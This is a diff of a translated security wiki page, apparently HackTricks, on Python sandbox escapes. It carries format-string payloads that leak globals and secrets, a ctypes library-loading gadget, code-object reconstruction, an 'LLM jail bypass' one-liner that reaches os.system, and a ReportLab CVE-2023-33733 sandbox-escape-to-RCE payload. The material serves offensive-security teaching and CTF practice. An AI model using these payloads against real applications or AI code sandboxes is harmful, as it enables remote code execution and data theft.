RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Builtins, Globals की पुनरावर्ती खोज...
|
||||
## Builtins, Globals की Recursive खोज...
|
||||
|
||||
> [!WARNING]
|
||||
> यह बस **अद्भुत** है। अगर आप **globals, builtins, open या किसी भी object की तलाश कर रहे हैं** तो बस इस script का उपयोग करके **पुनरावर्ती रूप से उन जगहों को खोजें जहाँ आप उस object को पा सकते हैं।**
|
||||
> यह वाकई **शानदार** है। अगर आप **globals, builtins, open जैसे किसी object की तलाश कर रहे हैं** तो बस इस script का उपयोग करें ताकि आप उस object को खोजने वाली जगहों को **पुनरावर्ती रूप से ढूँढ सकें।**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -661,7 +662,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
आप इस स्क्रिप्ट के आउटपुट को इस पेज पर देख सकते हैं:
|
||||
You can check the output of this script on this page:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -670,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
यदि आप **send** की गई कोई **string** python को देते हैं जिसे **formatted** किया जाएगा, तो आप `{}` का उपयोग करके **python internal information** तक पहुँच सकते हैं। आप पिछले उदाहरणों का उपयोग करके उदाहरण के लिए globals या builtins तक पहुँच सकते हैं।
|
||||
यदि आप python को एक **string** भेजते हैं जो **formatted** होने वाली है, तो आप `{}` का उपयोग करके **python internal information** तक पहुँच सकते हैं। आप पिछले उदाहरणों का उपयोग globals या builtins तक पहुँचने के लिए कर सकते हैं।
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -690,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
ध्यान दें कि आप सामान्य तरीके से **attributes तक पहुँच** सकते हैं **डॉट** के साथ जैसे `people_obj.__init__` और **dict तत्व** को **कोष्ठक** के साथ बिना quotes के `__globals__[CONFIG]`
|
||||
ध्यान दें कि आप सामान्य तरीके से **access attributes** कर सकते हैं एक **dot** से जैसे `people_obj.__init__` और **dict element** को **parenthesis** के साथ बिना quotes के `__globals__[CONFIG]`
|
||||
|
||||
साथ ही ध्यान दें कि आप किसी object के तत्वों को enumerate करने के लिए `.__dict__` का उपयोग कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
साथ ही ध्यान दें कि आप `.__dict__` का उपयोग किसी object के तत्वों को enumerate करने के लिए कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
format strings की कुछ अन्य रोचक विशेषताओं में शामिल है कि संकेतित object पर **executing** के लिए **फ़ंक्शन्स** **`str`**, **`repr`** और **`ascii`** का उपयोग किया जा सकता है — इसके लिए क्रमशः **`!s`**, **`!r`**, **`!a`** जोड़ें:
|
||||
format strings की कुछ अन्य दिलचस्प विशेषताएँ यह हैं कि आप निर्दिष्ट object पर **निष्पादित** कर सकते हैं **functions** **`str`**, **`repr`** और **`ascii`** को क्रमशः **`!s`**, **`!r`**, **`!a`** जोड़कर:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
इसके अलावा, classes में **code new formatters** लिखना संभव है:
|
||||
इसके अलावा, क्लासेस में **code new formatters** बनाना संभव है:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -710,17 +711,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**अधिक उदाहरण**: **format** **string** के उदाहरण [**https://pyformat.info/**](https://pyformat.info) पर मिल सकते हैं
|
||||
**अधिक उदाहरण** के बारे में **format** **string** उदाहरण [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> निम्नलिखित पृष्ठ भी देखें उन gadgets के लिए जो r**संवेदनशील जानकारी Python आंतरिक ऑब्जेक्ट्स से पढ़ेंगे**:
|
||||
> निम्नलिखित पृष्ठ भी देखें उन gadgets के लिए जो r**Python internal objects से संवेदनशील जानकारी पढ़ेंगे**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### संवेदनशील जानकारी का प्रकटीकरण Payloads
|
||||
### संवेदनशील जानकारी को उजागर करने वाले Payloads
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -738,20 +739,20 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
यहाँ से [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### format से RCE — libraries लोड करना
|
||||
### From format to RCE loading libraries
|
||||
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) यह संभव है कि python में format string vulnerability का दुरुपयोग करके डिस्क से arbitrary libraries को load किया जाए।
|
||||
|
||||
याद रखने के लिए, जब भी python में कोई ऑपरेशन किया जाता है तो कोई न कोई function execute होता है। उदाहरण के लिए `2*3` execute करेगा **`(2).mul(3)`** या **`{'a':'b'}['a']`** होगा **`{'a':'b'}.__getitem__('a')`**।
|
||||
याद दिलाने के लिए, हर बार जब python में कोई action किया जाता है तो कोई न कोई function execute होता है। उदाहरण के लिए `2*3` execute करेगा **`(2).mul(3)`** या **`{'a':'b'}['a']`** होगा **`{'a':'b'}.__getitem__('a')`**।
|
||||
|
||||
ऐसे और उदाहरण आप [**Python execution without calls**](#python-execution-without-calls) सेक्शन में पाएँगे।
|
||||
ऐसे और उदाहरण आप सेक्शन [**Python execution without calls**](#python-execution-without-calls) में पाएंगे।
|
||||
|
||||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
हालाँकि, `[]` का उपयोग संभव है। इसलिए यदि कोई सामान्य python library में ऐसा **`__getitem__`** या **`__getattr__`** method हो जो arbitrary code execute करे, तो उन्हें abuse करके RCE प्राप्त किया जा सकता है।
|
||||
एक python format string vuln function को execute करने की अनुमति नहीं देता (यह parenthesis के उपयोग की अनुमति नहीं देता), इसलिए `'{0.system("/bin/sh")}'.format(os)` जैसे RCE प्राप्त करना संभव नहीं है।\
|
||||
हालाँकि, `[]` का उपयोग करना संभव है। इसलिए, यदि कोई common python library में ऐसा **`__getitem__`** या **`__getattr__`** method है जो arbitrary code execute करता है, तो उनका दुरुपयोग करके RCE प्राप्त करना संभव हो सकता है।
|
||||
|
||||
python में ऐसे gadget की तलाश करते हुए, writeup ने यह [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) उपयोग की। जहाँ उसे यह [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) मिला:
|
||||
python में ऐसे gadget की तलाश करते हुए, writeup इस [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) का प्रस्ताव करता है। जहाँ उसने यह [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) पाया:
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -773,20 +774,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
यह गैजेट डिस्क से **लाइब्रेरी लोड करने** की अनुमति देता है। इसलिए, लोड करने के लिए लाइब्रेरी को सही तरीके से कंपाइल करके किसी तरह लक्षित सर्वर पर **लिखना या अपलोड करना** आवश्यक है।
|
||||
यह gadget डिस्क से **लाइब्रेरी लोड करना** अनुमति देता है। इसलिए, इसे किसी तरह से सही ढंग से कंपाइल की हुई **लाइब्रेरी को लिखना या अपलोड करना** जरूरी है, ताकि वह लक्षित सर्वर पर लोड हो सके।
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
यह चुनौती वास्तव में सर्वर में एक अन्य vulnerability का दुरुपयोग करती है जो सर्वर की डिस्क पर arbitrary files बनाने की अनुमति देती है।
|
||||
यह challenge वास्तव में सर्वर में एक अन्य vulnerability का लाभ उठाता है जो सर्वर की disk पर arbitrary files बनाने की अनुमति देता है।
|
||||
|
||||
## Python Objects का विश्लेषण
|
||||
|
||||
> [!TIP]
|
||||
> यदि आप **सीखना** चाहते हैं **python bytecode** के बारे में गहराई से तो इस विषय पर यह **उत्कृष्ट** पोस्ट पढ़ें: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> यदि आप **python bytecode** के बारे में गहराई से **जानना** चाहते हैं तो इस विषय पर यह **बेहतरीन** पोस्ट पढ़ें: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
कुछ CTFs में आपको उस **custom function where the flag** का नाम दिया जा सकता है और उसे प्राप्त करने के लिए आपको उस **function** के **internals** को देखना होगा।
|
||||
कुछ CTFs में आपको उस **custom function where the flag** का नाम दिया जा सकता है और आपको उसे निकालने के लिए **internals** of the **function** को देखना होगा।
|
||||
|
||||
यह वह function है जिसे निरीक्षण करना है:
|
||||
यह निरीक्षण करने के लिए function है:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -806,7 +807,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` और `func_globals` (एक समान) ग्लोबल परिवेश प्राप्त करते हैं। उदाहरण में आप कुछ आयात किए गए मॉड्यूल, कुछ ग्लोबल वेरिएबल और उनकी घोषित सामग्री देख सकते हैं:
|
||||
`__globals__` और `func_globals` (एक ही) वैश्विक वातावरण प्राप्त करते हैं। उदाहरण में आप कुछ import किए गए मॉड्यूल, कुछ global variables और उनके declared content देख सकते हैं:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -819,7 +820,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
|
||||
### **फ़ंक्शन के कोड तक पहुँच**
|
||||
|
||||
**`__code__`** और `func_code`: आप इस फ़ंक्शन की इस **विशेषता** तक **पहुँच करके** फ़ंक्शन के **code object** को **प्राप्त** कर सकते हैं।
|
||||
**`__code__`** और `func_code`: आप इस फ़ंक्शन के **एट्रिब्यूट** को **एक्सेस** कर सकते हैं ताकि आप फ़ंक्शन का **कोड ऑब्जेक्ट** प्राप्त कर सकें।
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -833,7 +834,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### कोड जानकारी प्राप्त करना
|
||||
### कोड की जानकारी प्राप्त करना
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -879,7 +880,7 @@ get_flag.__code__.co_freevars
|
||||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **Disassembly एक फ़ंक्शन**
|
||||
### **किसी function का Disassembly**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
@ -907,7 +908,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
ध्यान दें कि **यदि आप python sandbox में `dis` को import नहीं कर सकते** तो आप फ़ंक्शन का **bytecode** (`get_flag.func_code.co_code`) प्राप्त कर सकते हैं और स्थानीय रूप से इसे **disassemble** कर सकते हैं। आप लोड किए जा रहे वेरिएबल्स की सामग्री (`LOAD_CONST`) नहीं देख पाएंगे लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड किए जा रहे वेरिएबल का ऑफ़सेट बताता है।
|
||||
ध्यान दें कि **यदि आप python sandbox में `dis` को import नहीं कर सकते** तो आप फ़ंक्शन का **bytecode** (`get_flag.func_code.co_code`) प्राप्त कर सकते हैं और उसे स्थानीय रूप से **disassemble** कर सकते हैं। आप लोड किए जा रहे variables की सामग्री (`LOAD_CONST`) नहीं देख पाएंगे लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड किए जा रहे variable के offset को बताता है।
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -931,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Python को कंपाइल करना
|
||||
|
||||
अब मान लीजिए कि किसी तरह आप उस function के बारे में जानकारी **dump** कर सकते हैं जिसे आप **execute** नहीं कर सकते, पर आपको इसे **execute** करना **ज़रूरी** है.\
|
||||
जैसे निम्न उदाहरण में, आप उस function के **code object** तक पहुँच सकते हैं, लेकिन सिर्फ disassemble पढ़कर आप यह नहीं जान पाते कि flag कैसे calculate किया जाए (_कल्पना करें कि `calc_flag` function और अधिक जटिल है_)
|
||||
अब, मान लीजिए कि किसी तरह आप **किसी function के बारे में जानकारी dump कर सकते हैं जिसे आप execute नहीं कर सकते** लेकिन आपको **ज़रूरी** है कि आप इसे **execute** करें.\
|
||||
जैसा कि निम्न उदाहरण में, आप उस function के **code object तक access कर सकते हैं**, लेकिन सिर्फ disassemble पढ़कर आप **यह नहीं जान पाते कि flag कैसे calculate किया जाए** (_कल्पना कीजिए कि `calc_flag` function और भी ज्यादा जटिल है_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -945,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### Creating the code object
|
||||
### code object बनाना
|
||||
|
||||
सबसे पहले, हमें यह जानना होगा **how to create and execute a code object** ताकि हम एक बना सकें जो हमारे function leaked को execute कर सके:
|
||||
सबसे पहले, हमें यह जानना होगा **कैसे एक code object बनाएँ और execute करें** ताकि हम एक बना सकें जो हमारे leaked function को execute करे:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -967,7 +968,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> Python के संस्करण पर निर्भर करते हुए `code_type` के **पैरामीटरों** का **क्रम अलग** हो सकता है। अपने चलाए जा रहे Python संस्करण में पैरामीटरों के क्रम को जानने का सबसे अच्छा तरीका यह है कि आप यह चलाएँ:
|
||||
> आपके python version के अनुसार `code_type` के **पैरामीटर** का **क्रम** अलग हो सकता है। जिस python version पर आप चल रहे हैं उसमें पैरामीटर के क्रम को जानने का सबसे अच्छा तरीका यह है कि आप चलाएँ:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -975,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### leaked function को पुनः बनाना
|
||||
### एक leaked फ़ंक्शन को फिर से बनाना
|
||||
|
||||
> [!WARNING]
|
||||
> निम्नलिखित उदाहरण में, हम function code object से सीधे वह सभी डेटा लेंगे जो function को पुनः बनाने के लिए आवश्यक है। एक **वास्तविक उदाहरण** में, function **`code_type`** को execute करने के लिए सभी **मूल्य** ही वे होंगे जिन्हें आपको **leak** करना होगा।
|
||||
> नीचे दिए उदाहरण में, हम फ़ंक्शन के code object से सीधे उस फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को execute करने के लिए जो भी **मान** हों वे वही हैं जिन्हें आपको **leak** करना होगा।
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -989,12 +990,12 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### सुरक्षा प्रतिबंधों को बायपास करें
|
||||
### सुरक्षा बायपास
|
||||
|
||||
इस पोस्ट की शुरुआत में दिए गए पिछले उदाहरणों में, आप देख सकते हैं **कि `compile` function का उपयोग करके किसी भी python कोड को कैसे execute किया जा सकता है**। यह रोचक है क्योंकि आप **पूरे स्क्रिप्ट्स** को loops और सब कुछ के साथ **एक ही लाइन में** execute कर सकते हैं (और हम **`exec`** का उपयोग करके भी यही कर सकते हैं).\
|
||||
वैसे, कभी-कभी यह उपयोगी हो सकता है कि आप स्थानीय मशीन पर **एक compiled object बनाकर** और उसे **CTF machine** पर execute करें (उदाहरण के लिए क्योंकि CTF में हमारे पास `compiled` function नहीं है)।
|
||||
पोस्ट की शुरुआत के पिछले उदाहरणों में, आप देख सकते हैं **कि `compile` फ़ंक्शन का उपयोग करके किसी भी python कोड को कैसे execute किया जा सकता है**। यह इसलिए दिलचस्प है क्योंकि आप **पूरी scripts** को loops और सब कुछ के साथ एक **one liner** में execute कर सकते हैं (और हम यही **`exec`** का उपयोग करके भी कर सकते हैं).\
|
||||
वैसे भी, कभी-कभी यह उपयोगी हो सकता है कि आप लोकल मशीन में एक **compiled object** बनाकर उसे **CTF machine** में execute करें (उदाहरण के लिए क्योंकि हम CTF में `compiled` फ़ंक्शन नहीं रखते).
|
||||
|
||||
उदाहरण के लिए, आइए मैन्युअली एक function को compile और execute करें जो _./poc.py_ पढ़ता है:
|
||||
उदाहरण के लिए, चलिए मैन्युअली एक फ़ंक्शन को compile और execute करते हैं जो _./poc.py_ को पढ़ता है:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1021,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
यदि आप `eval` या `exec` तक पहुँच नहीं पा रहे हैं, तो आप एक **proper function** बना सकते हैं, लेकिन इसे सीधे कॉल करने पर आम तौर पर यह विफल हो जाएगा: _constructor not accessible in restricted mode_. इसलिए आपको एक **function not in the restricted environment to call this function.** की ज़रूरत है।
|
||||
यदि आप `eval` या `exec` तक पहुँच नहीं पा रहे हैं तो आप एक **सही फ़ंक्शन** बना सकते हैं, लेकिन इसे सीधे कॉल करने पर आमतौर पर यह विफल होगा: _constructor not accessible in restricted mode_. इसलिए आपको इसे कॉल करने के लिए एक **ऐसा फ़ंक्शन चाहिए जो सीमित वातावरण में न हो।**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1029,9 +1030,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Compiled Python को Decompile करना
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
|
||||
जैसे टूल्स [**https://www.decompiler.com/**](https://www.decompiler.com) का उपयोग करके कोई दिए गए compiled python code को **decompile** कर सकता है।
|
||||
|
||||
**इस ट्यूटोरियल को देखें**:
|
||||
|
||||
@ -1040,12 +1041,12 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## विविध Python
|
||||
## Misc Python
|
||||
|
||||
### Assert
|
||||
|
||||
पैरामीटर `-O` के साथ optimizations में चलने वाली Python asset statements और किसी भी कोड को हटा देगी जो **debug** के मान पर conditional हो।\
|
||||
इसलिए, ऐसे चेक्स जैसे
|
||||
`-O` पैरामीटर के साथ optimizations में चलाए गए Python से asset statements और किसी भी कोड को हटा दिया जाएगा जो **debug** के मान पर conditional हो।\
|
||||
इसलिए, इस तरह की जाँचें:
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
@ -1054,7 +1055,7 @@ print("\nYou are a super user\n")
|
||||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
bypass किया जाएगा
|
||||
बाइपास किया जाएगा
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -2,78 +2,78 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.
|
||||
यह पृष्ठ ReportLab के rl_safe_eval में एक व्यावहारिक sandbox escape और RCE primitive का दस्तावेज़ीकरण करता है, जिसका उपयोग xhtml2pdf और अन्य PDF-generation pipelines द्वारा तब किया जाता है जब वे user-controlled HTML को PDFs में render करते हैं।
|
||||
|
||||
CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.
|
||||
CVE-2023-33733 ReportLab के उन वर्शन को प्रभावित करता है जो 3.6.12 तक और इसके साथ शामिल हैं। कुछ attribute contexts (उदाहरण के लिए color) में, triple brackets [[[ ... ]]] में लिपटे मान सर्वर-साइड पर rl_safe_eval द्वारा evaluate होते हैं। एक payload तैयार करके जो एक whitelisted builtin (pow) से उसके Python function globals की ओर pivot करता है, एक attacker os मॉड्यूल तक पहुँच बना सकता है और commands execute कर सकता है।
|
||||
|
||||
मुख्य बिंदु
|
||||
- Trigger: ReportLab/xhtml2pdf द्वारा पार्स किए गए मार्कअप में <font color="..."> जैसे evaluated attributes में [[[ ... ]]] इंजेक्ट करें।
|
||||
- Sandbox: rl_safe_eval खतरनाक builtins को बदल देता है, लेकिन evaluated functions अभी भी __globals__ एक्सपोज़ करते हैं।
|
||||
- Bypass: rl_safe_eval के नाम परीक्षणों को बायपास करने और blocked dunder filtering से बचते हुए "__globals__" स्ट्रिंग तक पहुँचने के लिए एक अस्थायी class Word बनाएं।
|
||||
- ट्रिगर: ReportLab/xhtml2pdf द्वारा parsed मार्कअप में <font color="..."> जैसे evaluated attributes के भीतर [[[ ... ]]] इंजेक्ट करें।
|
||||
- Sandbox: rl_safe_eval खतरनाक builtins को बदल देता है लेकिन evaluated functions अभी भी __globals__ को एक्सपोज़ करते हैं।
|
||||
- Bypass: rl_safe_eval के नाम चेक को बायपास करने और ब्लॉक किए गए dunder फ़िल्टरिंग से बचने के लिए एक अस्थायी क्लास Word तैयार करें जो "__globals__" स्ट्रिंग तक पहुंच दिलाए।
|
||||
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||
- Stability: निष्पादन के बाद attribute के लिए एक वैध मान लौटाएं (color के लिए, और 'red' का उपयोग करें)।
|
||||
- स्थिरता: execution के बाद attribute के लिए एक वैध मान लौटाएँ (color के लिए, और 'red' का उपयोग करें)।
|
||||
|
||||
कब परीक्षण करें
|
||||
- ऐसे एप्लिकेशन जो HTML-to-PDF export (profiles, invoices, reports) एक्सपोज़ करते हैं और PDF metadata या HTTP response comments में xhtml2pdf/ReportLab दिखाते हैं।
|
||||
- वे एप्लिकेशन जिनमें HTML-to-PDF export (profiles, invoices, reports) एक्सपोज़ होता है और PDF metadata या HTTP response टिप्पणियों में xhtml2pdf/ReportLab दिखता है।
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
||||
- PDF के लिए HTTP response अक्सर ReportLab generator comment के साथ शुरू होता है।
|
||||
- PDF के लिए HTTP response अक्सर ReportLab generator टिप्पणी से शुरू होता है
|
||||
|
||||
sandbox bypass कैसे काम करता है
|
||||
- rl_safe_eval कई builtins (getattr, type, pow, ...) को हटाता या बदल देता है और नाम फ़िल्टरिंग लागू करता है ताकि __ से शुरू होने वाले या denylist में होने वाले attributes deny किए जाएँ।
|
||||
- हालाँकि, safe functions एक globals dictionary में रहते हैं जिसे func.__globals__ के रूप में एक्सेस किया जा सकता है।
|
||||
- ReportLab के wrapper को बायपास करते हुए वास्तविक builtin type function को पुनः प्राप्त करने के लिए type(type(1)) का उपयोग करें, फिर str से व्युत्पन्न एक Word class परिभाषित करें जिसके comparison व्यवहार को बदला गया हो ताकि:
|
||||
- .startswith('__') → हमेशा False (name startswith('__') जांच बायपास)
|
||||
- .__eq__ केवल पहली तुलना में False लौटाता है (denylist membership checks बायपास) और बाद में True (ताकि Python getattr काम करे)
|
||||
- .__hash__ = hash(str(self))
|
||||
